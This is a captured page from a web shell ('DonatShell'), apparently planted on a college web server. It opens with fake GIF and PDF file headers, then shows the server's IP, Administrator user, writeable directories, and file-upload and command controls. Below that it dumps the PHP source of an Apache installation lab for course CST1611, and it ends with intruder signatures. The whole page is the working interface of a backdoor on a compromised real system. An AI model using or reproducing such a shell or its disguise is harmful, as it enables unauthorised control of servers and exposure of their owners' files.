GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/_Archive/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/_Archive/Lab01.php
<?
// JimMartinson/CST1611/Lab01.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = 1;
$assignmentType = "";
$assignmentTitle = "Apache Installation";
$evaluationType = "Lab";
if ($assignmentType == '') $assignmentType = $evaluationType;
$evaluationTitle = $assignmentTitle;
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; $evaluationName = $evaluationType."0".$assignmentNumber; } else { 
$assignmentName = $assignmentType.$assignmentNumber; $evaluationName = $evaluationType.$assignmentNumber; }
if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle;
$week = 4;

$title = $evaluationType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = str_replace(" ","",username($userId)); } else { $userFullName = str_replace(" ","",$_SESSION['userFullName']); $userId = $_SESSION['userId']; }
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId);
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<style type="text/css">b {white-space:nowrap;}</style>
<p>
<fieldset><legend><?=$evaluationType?> Assignment</legend><span class="normal">
The purpose of this lab is to demonstrate that your Apache installation is running correctly.
<ol>
  <li>
    If you have not done so, perform:
    <br /><a href="../Setup/ClassSetup/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">Class Setup</a> then refresh this page.
    <br /><a href="../Setup/WebServices/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">WebServices Installation</a>.
    <br /><a href="../Setup/Apache/?dataFolder=Data_WWW&courseNumber=CST1611&courseTitle=Web Server Administration" target="_blank">Apache Installation</a> (all three parts).      
  </li>
  <li>
    Create a folder called <b><?=$evaluationName?></b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611</b> folder. We will use it for all work performed in this lab.
  </li>
  <li>Verify your Apache installation.
  	<ol type="A">
    	<li>Run <b>WebServices.bat</b> and start Apache.</li>
      <li>Open your browser.</li>
      <li>Enter <b>localhost</b> in the address bar.</li>
      <li>Hit <b>enter</b> to load the site. You should see something like this:
        <br /><img src="Lab02/CST1611-Lab02-Browser-JimMartinson.png" width="457" height="313" alt="localhost" />
      </li>
      <li>Take a screen shot of the page and save the image as <b>CST1611-<?=$evaluationName?>-Browser-<?=$userFullName?>.png</b> in your <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.
      	<br />Make sure that the address bar is visible in your browser before saving the image.
      </li>
    </ol>
  </li>
  <li>Turn in <b><?=$evaluationName?></b> for grading.
    <ol type="A">
      <li>Copy your Apache <b>httpd.conf</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Copy your <b>C:\Windows\system32\drivers\etc\hosts</b> file into the <b><?=$_SESSION['userDefaultDrive']?>:\Data_WWW\CST1611\<?=$evaluationName?></b> folder.</li>
      <li>Zip up your Data_WWW directory into a file named <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b>.</li>
      <li>Send an email to <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> - <?=$evaluationName?> Submission">jim.martinson@ridgewater.edu</a> with a subject of <b>CST1611 - <?=$evaluationName?> Submission</b> and attach your <b>CST1611-<?=$evaluationName?>-<?=$userFullName?>.zip</b> file.</li>
    </ol>
  </li>
</ol>
</span>
</fieldset>

<fieldset><legend>Grading Criteria</legend><span class="normal">
Demonstrated assignment effectively: 10 points.
<br />
There are some things I expect. If they are incorrect you will lose the following:
<br />
Incorrect attachment file name: -1 pt.
<br />
Work submitted incorrectly: -1pt.
<br />
Incorrect subject in email: -1pt.
<br />
Second and subsequent submission of work for grading: -1pt.
<br />
Work submitted late: -1pt.
</span></fieldset>

<?
$thisFile=__FILE__; $thisLine=__LINE__; include('Notes/notes.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";

?>

Anon7 - 2022
AnonSec Team